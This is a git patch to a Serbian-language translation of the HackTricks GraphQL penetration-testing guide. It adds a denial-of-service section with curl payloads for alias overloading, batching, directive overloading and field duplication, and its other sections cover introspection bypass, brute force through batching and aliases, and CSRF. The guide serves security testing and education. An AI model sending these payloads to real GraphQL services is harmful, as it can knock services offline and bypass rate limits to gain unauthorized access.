From 5b2afa7c54d840bbf2b66f120aad508acba92fca Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 21 Nov 2024 11:51:21 +0000 Subject: [PATCH] Translated ['network-services-pentesting/pentesting-web/graphql.md'] to --- .../pentesting-web/graphql.md | 150 +++++++++++++----- 1 file changed, 113 insertions(+), 37 deletions(-) diff --git a/network-services-pentesting/pentesting-web/graphql.md b/network-services-pentesting/pentesting-web/graphql.md index d4391900a..6e68d6f5c 100644 --- a/network-services-pentesting/pentesting-web/graphql.md +++ b/network-services-pentesting/pentesting-web/graphql.md @@ -1,8 +1,8 @@ # GraphQL {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -17,13 +17,13 @@ Learn & practice GCP Hacking: ) @@ -210,8 +210,8 @@ Možete ga jednostavno upititi sa: ```javascript query={hiddenFlags} ``` -U drugom primeru gde su bila 2 objekta unutar objekta tipa "_Query_": "_user_" i "_users_".\ -Ako ovim objektima nisu potrebni argumenti za pretragu, mogli bismo **izvući sve informacije iz njih** jednostavno **tražeći** podatke koje želimo. U ovom primeru sa Interneta mogli bismo izvući sačuvana korisnička imena i lozinke: +U drugom primeru gde su bila 2 objekta unutar objekta "_Query_": "_user_" i "_users_".\ +Ako ovim objektima nisu potrebni argumenti za pretragu, mogli bismo **dobiti sve informacije iz njih** jednostavno **tražeći** podatke koje želimo. U ovom primeru sa Interneta mogli biste izvući sačuvana korisnička imena i lozinke: ![](<../../.gitbook/assets/image (880).png>) @@ -220,7 +220,7 @@ Međutim, u ovom primeru, ako pokušate to da uradite, dobijate ovu **grešku**: ![](<../../.gitbook/assets/image (1042).png>) Izgleda da će nekako pretraživati koristeći argument "_**uid**_" tipa _**Int**_.\ -U svakom slučaju, već smo znali da je u sekciji [Basic Enumeration](graphql.md#basic-enumeration) predložen upit koji nam je pokazivao sve potrebne informacije: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` +U svakom slučaju, već smo znali da je u sekciji [Osnovna enumeracija](graphql.md#basic-enumeration) predložen upit koji nam je pokazivao sve potrebne informacije: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` Ako pročitate sliku koju sam priložio kada sam pokrenuo taj upit, videćete da je "_**user**_" imao **arg** "_**uid**_" tipa _Int_. @@ -229,7 +229,7 @@ Dakle, obavljajući malo _**uid**_ bruteforce-a, otkrio sam da je za _**uid**=** ![](<../../.gitbook/assets/image (90).png>) -Napomena da sam **otkrio** da mogu da tražim **parametre** "_**user**_" i "_**password**_" jer ako pokušam da tražim nešto što ne postoji (`query={user(uid:1){noExists}}`) dobijam ovu grešku: +Napomena da sam **otkrio** da mogu tražiti **parametre** "_**user**_" i "_**password**_" jer ako pokušam da tražim nešto što ne postoji (`query={user(uid:1){noExists}}`) dobijam ovu grešku: ![](<../../.gitbook/assets/image (707).png>) @@ -237,13 +237,13 @@ I tokom **faze enumeracije** otkrio sam da objekat "_**dbuser**_" ima kao polja **Trik sa dump-ovanjem upitnog stringa (zahvaljujući @BinaryShadow\_)** -Ako možete da pretražujete po string tipu, kao: `query={theusers(description: ""){username,password}}` i **tražite prazan string**, to će **dump-ovati sve podatke**. (_Napomena: ovaj primer nije povezan sa primerom iz tutorijala, za ovaj primer pretpostavite da možete da pretražujete koristeći "**theusers**" po string polju nazvanom "**description**"_). +Ako možete pretraživati po string tipu, kao: `query={theusers(description: ""){username,password}}` i **tražite prazan string**, to će **dump-ovati sve podatke**. (_Napomena: ovaj primer nije povezan sa primerom iz tutorijala, za ovaj primer pretpostavite da možete pretraživati koristeći "**theusers**" po String polju nazvanom "**description**"_). ### Pretraga U ovoj postavci, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** su identifikovane po svom **emailu** i **imenu**; **filmovi** po svom **imenu** i **oceni**. **Osobe** mogu biti prijatelji jedni s drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka. -Možete **pretraživati** osobe **po** **imenu** i dobiti njihove email adrese: +Možete **pretraživati** osobe **po** **imenu** i dobiti njihove emailove: ```javascript { searchPerson(name: "John Doe") { @@ -299,11 +299,11 @@ name } } ``` -### Mutacije +### Mutations **Mutacije se koriste za pravljenje promena na serverskoj strani.** -U **introspekciji** možete pronaći **deklarisane** **mutacije**. Na sledećem slici "_MutationType_" se zove "_Mutation_" i objekat "_Mutation_" sadrži imena mutacija (kao što je "_addPerson_" u ovom slučaju): +U **introspekciji** možete pronaći **deklarisane** **mutacije**. Na sledećem imidžu "_MutationType_" se zove "_Mutation_" i objekat "_Mutation_" sadrži imena mutacija (kao što je "_addPerson_" u ovom slučaju): ![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27 (1).png>) @@ -322,7 +322,7 @@ rating ``` **Napomena kako su i vrednosti i tip podataka naznačeni u upitu.** -Pored toga, baza podataka podržava **mutation** operaciju, nazvanu `addPerson`, koja omogućava kreiranje **persons** zajedno sa njihovim asocijacijama na postojeće **friends** i **movies**. Ključno je napomenuti da prijatelji i filmovi moraju prethodno postojati u bazi podataka pre nego što ih povežete sa novokreiranim osobom. +Pored toga, baza podataka podržava **mutation** operaciju, nazvanu `addPerson`, koja omogućava kreiranje **persons** zajedno sa njihovim povezivanjem sa postojećim **friends** i **movies**. Ključno je napomenuti da prijatelji i filmovi moraju prethodno postojati u bazi podataka pre nego što ih povežete sa novokreiranim osobom. ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { @@ -352,12 +352,12 @@ releaseYear ``` ### Direktiva Preopterećenja -Kao što je objašnjeno u [**jednoj od ranjivosti opisanim u ovom izveštaju**](https://www.landh.tech/blog/20240304-google-hack-50000/), direktiva preopterećenja podrazumeva pozivanje direktive čak i milion puta kako bi se server naterao da troši operacije dok ne postane moguće izvršiti DoS napad. +Kao što je objašnjeno u [**jednoj od ranjivosti opisanim u ovom izveštaju**](https://www.landh.tech/blog/20240304-google-hack-50000/), direktiva preopterećenja podrazumeva pozivanje direktive čak i milion puta kako bi se serveru nanele operacije dok ne postane moguće izvršiti DoS napad. ### Grupisanje brute-force u 1 API zahtevu Ove informacije su preuzete sa [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ -Autentifikacija putem GraphQL API sa **istovremenim slanjem mnogih upita sa različitim akreditivima** da bi se proverilo. To je klasičan brute force napad, ali sada je moguće poslati više od jednog para korisničkog imena/lozinke po HTTP zahtevu zbog GraphQL grupisanja. Ovaj pristup bi prevario spoljne aplikacije za praćenje brzine misleći da je sve u redu i da ne postoji bot za brute-forcing koji pokušava da pogodi lozinke. +Autentifikacija putem GraphQL API sa **istovremenim slanjem mnogih upita sa različitim akreditivima** da bi se proverilo. To je klasičan brute force napad, ali sada je moguće poslati više od jednog para korisničkog imena/lozinke po HTTP zahtevu zbog funkcionalnosti grupisanja GraphQL-a. Ovaj pristup bi prevario spoljne aplikacije za praćenje brzine misleći da je sve u redu i da ne postoji bot za brute-forcing koji pokušava da pogodi lozinke. Ispod možete pronaći najjednostavniju demonstraciju zahteva za autentifikaciju aplikacije, sa **3 različita para email/lozinka u isto vreme**. Očigledno je moguće poslati hiljade u jednom zahtevu na isti način: @@ -369,13 +369,13 @@ Kao što možemo videti iz snimka odgovora, prvi i treći zahtevi su vratili _nu ## GraphQL Bez Introspekcije -Sve više **graphql krajnjih tačaka onemogućava introspekciju**. Međutim, greške koje graphql baca kada se primi neočekivani zahtev su dovoljne za alate poput [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) da rekreiraju većinu šeme. +Sve više **graphql krajnjih tačaka onemogućava introspekciju**. Međutim, greške koje graphql baca kada primi neočekivani zahtev su dovoljne za alate poput [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) da rekreiraju većinu šeme. Štaviše, Burp Suite ekstenzija [**GraphQuail**](https://github.com/forcesunseen/graphquail) **posmatra GraphQL API zahteve koji prolaze kroz Burp** i **gradi** internu GraphQL **šemu** sa svakim novim upitom koji vidi. Takođe može izložiti šemu za GraphiQL i Voyager. Ekstenzija vraća lažni odgovor kada primi upit za introspekciju. Kao rezultat, GraphQuail prikazuje sve upite, argumente i polja dostupna za korišćenje unutar API-ja. Za više informacija [**proverite ovo**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). Lepa **lista reči** za otkrivanje [**GraphQL entiteta može se pronaći ovde**](https://github.com/Escape-Technologies/graphql-wordlist?). -### Zaobilaženje GraphQL introspekcijskih odbrana +### Zaobilaženje odbrana GraphQL introspekcije Da bi se zaobišle restrikcije na upite za introspekciju u API-jima, umetanje **posebnog karaktera nakon `__schema` ključne reči** se pokazuje kao efikasno. Ova metoda koristi uobičajene propuste programera u regex obrascima koji imaju za cilj da blokiraju introspekciju fokusirajući se na `__schema` ključnu reč. Dodavanjem karaktera kao što su **razmaci, novi redovi i zarezi**, koje GraphQL ignoriše, ali možda nisu uzeti u obzir u regex-u, restrikcije se mogu zaobići. Na primer, upit za introspekciju sa novim redom nakon `__schema` može zaobići takve odbrane: ```bash @@ -389,7 +389,7 @@ Ako ne uspe, razmotrite alternativne metode zahteva, kao što su **GET zahtevi** ### Pokušajte sa WebSockets -Kao što je pomenuto u [**ovom predavanju**](https://www.youtube.com/watch?v=tIo\_t5uUK50), proverite da li bi moglo biti moguće povezati se sa graphQL putem WebSockets, jer bi to moglo omogućiti da zaobiđete potencijalni WAF i da komunikacija putem websocket-a otkrije šemu graphQL-a: +Kao što je pomenuto u [**ovom predavanju**](https://www.youtube.com/watch?v=tIo\_t5uUK50), proverite da li bi moglo biti moguće povezati se na graphQL putem WebSockets, jer bi to moglo omogućiti da zaobiđete potencijalni WAF i da komunikacija putem websockets-a otkrije šemu graphQL-a: ```javascript ws = new WebSocket('wss://target/graphql', 'graphql-ws'); ws.onopen = function start(event) { @@ -415,7 +415,7 @@ ws.send(JSON.stringify(graphqlMsg)); ``` ### **Otkriće Izloženih GraphQL Struktura** -Kada je introspekcija onemogućena, ispitivanje izvornog koda veb sajta za unapred učitane upite u JavaScript bibliotekama je korisna strategija. Ovi upiti se mogu pronaći koristeći `Sources` karticu u alatima za razvoj, pružajući uvide u šemu API-ja i otkrivajući potencijalno **izložene osetljive upite**. Komande za pretragu unutar alata za razvoj su: +Kada je introspekcija onemogućena, ispitivanje izvornog koda veb sajta za unapred učitane upite u JavaScript bibliotekama je korisna strategija. Ovi upiti se mogu pronaći koristeći `Sources` karticu u alatima za programere, pružajući uvide u šemu API-ja i otkrivajući potencijalno **izložene osetljive upite**. Komande za pretragu unutar alata za programere su: ```javascript Inspect/Sources/"Search all files" file:* mutation @@ -429,9 +429,9 @@ Ako ne znate šta je CSRF, pročitajte sledeću stranicu: [csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md) {% endcontent-ref %} -Napolju ćete moći da pronađete nekoliko GraphQL krajnjih tačaka **konfiguranih bez CSRF tokena.** +Napolju možete pronaći nekoliko GraphQL krajnjih tačaka **konfiguranih bez CSRF tokena.** -Imajte na umu da se GraphQL zahtevi obično šalju putem POST zahteva koristeći Content-Type **`application/json`**. +Napomena: GraphQL zahtevi se obično šalju putem POST zahteva koristeći Content-Type **`application/json`**. ```javascript {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} ``` @@ -443,9 +443,9 @@ Zato, pošto se CSRF zahtevi poput prethodnih šalju **bez preflight zahteva**, Međutim, imajte na umu da je nova podrazumevana vrednost kolačića za `samesite` oznaku u Chrome-u `Lax`. To znači da će kolačić biti poslat samo sa treće strane u GET zahtevima. -Imajte na umu da je obično moguće poslati **query** **zahtev** takođe kao **GET** **zahtev i CSRF token možda neće biti validiran u GET zahtevu.** +Napomena je da je obično moguće poslati **query** **zahtev** takođe kao **GET** **zahtev i CSRF token možda neće biti validiran u GET zahtevu.** -Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search/) **napada** može biti moguće exfiltrirati sadržaj sa GraphQL krajnje tačke zloupotrebom kredencijala korisnika. +Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search/) **napada** može biti moguće eksfiltrirati sadržaj sa GraphQL krajnje tačke zloupotrebom kredencijala korisnika. Za više informacija **proverite** [**originalni post ovde**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). @@ -461,7 +461,7 @@ Za više informacija proverite: ## Autorizacija u GraphQL -Mnoge GraphQL funkcije definisane na krajnjoj tački mogu samo proveravati autentifikaciju zahtevača, ali ne i autorizaciju. +Mnoge GraphQL funkcije definisane na krajnjoj tački mogu samo proveravati autentifikaciju zahtevaoca, ali ne i autorizaciju. Modifikovanje ulaznih varijabli upita može dovesti do osetljivih podataka o računu [leak](https://hackerone.com/reports/792927). @@ -477,7 +477,7 @@ Mutacija može čak dovesti do preuzimanja računa pokušavajući da modifikuje [Spajanje upita](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) može zaobići slab sistem autentifikacije. -U donjem primeru možete videti da je operacija "forgotPassword" i da bi trebala da izvrši samo forgotPassword upit povezan sa njom. Ovo se može zaobići dodavanjem upita na kraj, u ovom slučaju dodajemo "register" i promenljivu korisnika kako bi se sistem registrovao kao novi korisnik. +U donjem primeru možete videti da je operacija "forgotPassword" i da bi trebala da izvrši samo forgotPassword upit povezan sa njom. Ovo se može zaobići dodavanjem upita na kraj, u ovom slučaju dodajemo "register" i promenljivu korisnika za sistem da registruje kao novog korisnika.
@@ -487,9 +487,9 @@ U GraphQL-u, aliasi su moćna funkcija koja omogućava **izričito imenovanje sv Za detaljno razumevanje GraphQL aliasa, preporučuje se sledeći resurs: [Aliasi](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). -Dok je primarna svrha aliasa smanjenje potrebe za brojnim API pozivima, identifikovan je nenamerni slučaj upotrebe gde se aliasi mogu iskoristiti za izvođenje brute force napada na GraphQL endpoint. Ovo je moguće jer su neki endpointi zaštićeni ograničivačima brzine dizajniranim da spreče brute force napade ograničavanjem **broja HTTP zahteva**. Međutim, ovi ograničivači brzine možda ne uzimaju u obzir broj operacija unutar svakog zahteva. S obzirom na to da aliasi omogućavaju uključivanje više upita u jedan HTTP zahtev, mogu zaobići takve mere ograničenja brzine. +Dok je primarna svrha aliasa da smanji potrebu za brojnim API pozivima, identifikovan je neplanirani slučaj upotrebe gde se aliasi mogu iskoristiti za izvođenje brute force napada na GraphQL endpoint. Ovo je moguće jer su neki endpointi zaštićeni ograničivačima brzine dizajniranim da spreče brute force napade ograničavanjem **broja HTTP zahteva**. Međutim, ovi ograničivači brzine možda ne uzimaju u obzir broj operacija unutar svakog zahteva. S obzirom na to da aliasi omogućavaju uključivanje više upita u jedan HTTP zahtev, mogu zaobići takve mere ograničenja brzine. -Razmotrite primer dat ispod, koji ilustruje kako se upiti sa aliasima mogu koristiti za verifikaciju validnosti kodova za popust u prodavnici. Ova metoda bi mogla zaobići ograničenje brzine jer kompilira nekoliko upita u jedan HTTP zahtev, potencijalno omogućavajući verifikaciju brojnih kodova za popust istovremeno. +Razmotrite primer dat ispod, koji ilustruje kako se upiti sa aliasima mogu koristiti za verifikaciju validnosti kodova za popust u prodavnici. Ova metoda bi mogla zaobići ograničenje brzine pošto kompilira nekoliko upita u jedan HTTP zahtev, potencijalno omogućavajući verifikaciju brojnih kodova za popust istovremeno. ```bash # Example of a request utilizing aliased queries to check for valid discount codes query isValidDiscount($code: Int) { @@ -504,19 +504,95 @@ valid } } ``` +## DoS u GraphQL-u + +### Preopterećenje Alias-a + +**Preopterećenje Alias-a** je GraphQL ranjivost gde napadači preopterećuju upit sa mnogo alias-a za isto polje, uzrokujući da backend resolver izvršava to polje ponovo i ponovo. Ovo može preopteretiti resurse servera, što dovodi do **Odbijanja Usluge (DoS)**. Na primer, u upitu ispod, isto polje (`expensiveField`) se traži 1.000 puta koristeći alias-e, primoravajući backend da ga izračuna 1.000 puta, potencijalno iscrpljujući CPU ili memoriju: + +{% code overflow="wrap" %} +```graphql +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "Content-Type: application/json" \ +-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ +'https://example.com/graphql' +``` +{% endcode %} + +Da bi se to ublažilo, implementirajte ograničenja broja aliasa, analizu složenosti upita ili ograničavanje brzine kako biste sprečili zloupotrebu resursa. + +### **Batchovanje upita zasnovano na nizu** + +**Batchovanje upita zasnovano na nizu** je ranjivost gde GraphQL API omogućava batchovanje više upita u jednom zahtevu, omogućavajući napadaču da pošalje veliki broj upita istovremeno. Ovo može preopteretiti backend izvršavanjem svih batchovanih upita paralelno, trošeći prekomerne resurse (CPU, memorija, veze sa bazom podataka) i potencijalno dovesti do **Denial of Service (DoS)**. Ako ne postoji ograničenje na broj upita u batchu, napadač može iskoristiti ovo da pogorša dostupnost usluge. + +{% code overflow="wrap" %} +```graphql +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "User-Agent: graphql-cop/1.13" \ +-H "Content-Type: application/json" \ +-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ +'https://example.com/graphql' +``` +{% endcode %} + +U ovom primeru, 10 različitih upita je grupisano u jedan zahtev, prisiljavajući server da izvrši sve njih istovremeno. Ako se iskoristi sa većim brojem upita ili računski skupim upitima, može preopteretiti server. + +### **Ranljivost preopterećenja direktiva** + +**Preopterećenje direktiva** se dešava kada GraphQL server dozvoljava upite sa prekomernim, dupliciranim direktivama. Ovo može preopteretiti parser i izvršavača servera, posebno ako server ponovo obrađuje istu logiku direktive. Bez odgovarajuće validacije ili ograničenja, napadač može iskoristiti ovo tako što će kreirati upit sa brojnim dupliciranim direktivama kako bi izazvao visoku potrošnju resursa ili memorije, što dovodi do **Denial of Service (DoS)**. + +{% code overflow="wrap" %} +```bash +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "User-Agent: graphql-cop/1.13" \ +-H "Content-Type: application/json" \ +-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \ +'https://example.com/graphql' +``` +{% endcode %} + +Napomena da je u prethodnom primeru `@aa` prilagođena direktiva koja **možda nije deklarisana**. Uobičajena direktiva koja obično postoji je **`@include`**: + +{% code overflow="wrap" %} +```bash +curl -X POST \ +-H "Content-Type: application/json" \ +-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \ +'https://example.com/graphql' +``` +{% endcode %} + +Možete takođe poslati upit za introspekciju kako biste otkrili sve deklarisane direktive: +```bash +curl -X POST \ +-H "Content-Type: application/json" \ +-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \ +'https://example.com/graphql' +``` +I zatim **koristite neke od prilagođenih**. + +### **Ranljivost dupliranja polja** + +**Dupliranje polja** je ranljivost gde GraphQL server dozvoljava upite sa istim poljem ponovljenim prekomerno. Ovo prisiljava server da rešava polje suvišno za svaku instancu, trošeći značajne resurse (CPU, memoriju i pozive baze podataka). Napadač može kreirati upite sa stotinama ili hiljadama ponovljenih polja, uzrokujući visoko opterećenje i potencijalno dovodeći do **Denial of Service (DoS)**. +```bash +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ +-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \ +'https://example.com/graphql' +``` ## Alati ### Skeneri ranjivosti * [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testira uobičajene pogrešne konfiguracije graphql krajnjih tačaka * [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Skripta za bezbednosno audiranje GraphQL-a sa fokusom na izvođenje serijskih GraphQL upita i mutacija. -* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Prepoznaje korišćeni graphql -* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Alat koji se može koristiti za preuzimanje šema i pretragu osetljivih podataka, testiranje autorizacije, brute force šema i pronalaženje puteva do datog tipa. +* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Prepoznaje koji se graphql koristi +* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Alat koji se može koristiti za preuzimanje šema i pretragu osetljivih podataka, testiranje autorizacije, brute force šema i pronalaženje puteva do određenog tipa. * [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Može se koristiti kao samostalni alat ili [Burp ekstenzija](https://github.com/doyensec/inql). * [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Može se koristiti kao CLI klijent takođe za automatizaciju napada -* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Alat koji navodi različite načine **dostizanja datog tipa u GraphQL šemi**. +* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Alat koji navodi različite načine **dostizanja određenog tipa u GraphQL šemi**. * [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Naslednik samostalnog i CLI moda InQL-a -* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp ekstenzija za napredno testiranje GraphQL-a. _**Skener**_ je srž InQL v5.0, gde možete analizirati GraphQL krajnju tačku ili lokalnu introspekcijsku šemu. Automatski generiše sve moguće upite i mutacije, organizujući ih u strukturirani prikaz za vašu analizu. _**Napadač**_ komponenta vam omogućava da izvršite serijske GraphQL napade, što može biti korisno za zaobilaženje loše implementiranih ograničenja brzine. +* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp ekstenzija za napredno testiranje GraphQL-a. _**Skener**_ je jezgro InQL v5.0, gde možete analizirati GraphQL krajnju tačku ili lokalnu introspekcijsku šemu. Automatski generiše sve moguće upite i mutacije, organizujući ih u strukturirani prikaz za vašu analizu. _**Napadač**_ komponenta vam omogućava da izvršite serijske GraphQL napade, što može biti korisno za zaobilaženje loše implementiranih ograničenja brzine. * 